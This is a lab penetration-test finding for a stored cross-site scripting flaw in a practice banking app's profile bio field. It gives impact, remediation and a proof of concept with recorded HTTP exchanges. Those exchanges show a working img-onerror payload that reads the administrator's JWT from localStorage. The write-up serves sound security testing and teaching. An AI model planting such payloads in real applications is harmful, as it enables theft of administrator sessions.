Back to the index

LAB FAIL

Stored Cross-Site Scripting - User Profile - Bio Field

Stored Cross-Site Scripting — User Profile — Bio Field

CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting) · OWASP A03:2021 - Injection

Vulnerability

[FAIL] Stored Cross-Site Scripting - User Profile - Bio Field

Description

The /update_bio endpoint stores bio content without any sanitization. The administrative panel then injects that value into the DOM through innerHTML in a template literal without escaping (templates/admin.html), while other fields in the same modal such as id and account_number do go through escapeHtml. As a result, markup submitted by an ordinary user executes as HTML inside the administrator's session.

Impact

Confidentiality + Integrity (Critical): the lowest-privileged user can plant a script that runs in the administrator's browser with no interaction beyond opening the user detail view, which is a routine admin task. Because session tokens are stored in localStorage and readable by JavaScript, the payload successfully captured the administrator JWT in full. That token gives the attacker full control of the administrative panel, including deleting accounts, creating new administrators, and approving loans.

CWE

CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)

OWASP

A03:2021 - Injection

Scenario

Normal: the bio is filled with plain text and appears as text in the admin panel's user detail modal. Exploitation: the attacker fills the bio with an img tag carrying an onerror handler. The payload is stored raw and returned as-is by /api/v3/user/2. Impact: the administrator opens that user detail modal, the payload executes inside the administrator session and reads the administrator JWT from localStorage.

Endpoint

POST http://127.0.0.1:5001/update_bio GET http://127.0.0.1:5001/api/v3/user/<user_id> Sink: http://127.0.0.1:5001/sup3r_s3cr3t_admin (user detail modal)

Affected feature

User profile bio and the user detail modal in the administrative panel

Remediation

- Render user-supplied values as text (textContent), not innerHTML; apply escapeHtml to the bio field as is already done for other fields in the same modal. - Sanitize the bio server-side with an allow-list library both when stored and when returned by the API. - Apply a Content-Security-Policy that forbids inline scripts and event handlers. - Store session tokens in HttpOnly and SameSite cookies rather than localStorage so JavaScript cannot reach them.

Proof of concept

  1. (Screenshot 1) NORMAL: the bio is filled with plain text via /update_bio -> stored.
  2. (Screenshot 2) EXPLOITATION: the bio is filled with an img tag carrying an onerror handler -> accepted without sanitization.
  3. (Screenshot 3) SINK: /api/v3/user/2 returns the raw payload as-is, which is the data consumed by the admin panel.
  4. (Screenshot 4) NORMAL UI: the administrator opens the user detail modal while the bio contains plain text -> displayed as text.
  5. (Screenshot 5) CIA IMPACT: the administrator opens the same user detail modal after the payload is planted -> the script executes inside the administrator session and displays the administrator JWT captured in full.

The complete record

LAB All targets are lab systems. Nothing here is a client engagement. Evidence is shown as recorded; secrets are blacked out.

HTTP request
POST /update_bio HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 48
Content-Type: application/json

{"bio": "Personal banking customer since 2024."}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 119
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:03:53 GMT

{
  "bio": "Personal banking customer since 2024.",
  "message": "Bio updated successfully",
  "status": "success"
}
Screenshot
HTTP request
POST /update_bio HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 413
Content-Type: application/json

{"bio": "<img src=x onerror=\"var d=document.createElement('div');d.id='pwn';d.setAttribute('style','position:fixed;top:0;left:0;right:0;z-index:99999;background:#d3372c;color:#fff;padding:14px 18px;font:13px ui-monospace,Menlo,monospace;word-break:break-all;line-height:1.5;box-shadow:0 2px 10px rgba(0,0,0,.35)');d.textContent='Stolen admin JWT: '+localStorage.getItem('jwt_token');document.body.prepend(d)\">"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 484
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:03:55 GMT

{
  "bio": "<img src=x onerror=\"var d=document.createElement('div');d.id='pwn';d.setAttribute('style','position:fixed;top:0;left:0;right:0;z-index:99999;background:#d3372c;color:#fff;padding:14px 18px;font:13px ui-monospace,Menlo,monospace;word-break:break-all;line-height:1.5;box-shadow:0 2px 10px rgba(0,0,0,.35)');d.textContent='Stolen admin JWT: '+localStorage.getItem('jwt_token');document.body.prepend(d)\">",
  "message": "Bio updated successfully",
  "status": "success"
}
Screenshot
HTTP request
GET /api/v3/user/2 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 597
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:03:56 GMT

{
  "status": "success",
  "user": {
    "account_number": "0932191785",
    "balance": -8100.0,
    "bio": "<img src=x onerror=\"var d=document.createElement('div');d.id='pwn';d.setAttribute('style','position:fixed;top:0;left:0;right:0;z-index:99999;background:#d3372c;color:#fff;padding:14px 18px;font:13px ui-monospace,Menlo,monospace;word-break:break-all;line-height:1.5;box-shadow:0 2px 10px rgba(0,0,0,.35)');d.textContent='Stolen admin JWT: '+localStorage.getItem('jwt_token');document.body.prepend(d)\">",
    "id": 2,
    "is_admin": false,
    "username": "pentest_attacker"
  }
}
Screenshot
Screenshot
Screenshot

← Previous case: SQL Injection - GraphQL - Transaction Summary Resolver Next case: Unrestricted File Upload - Profile Picture - File Type Validation →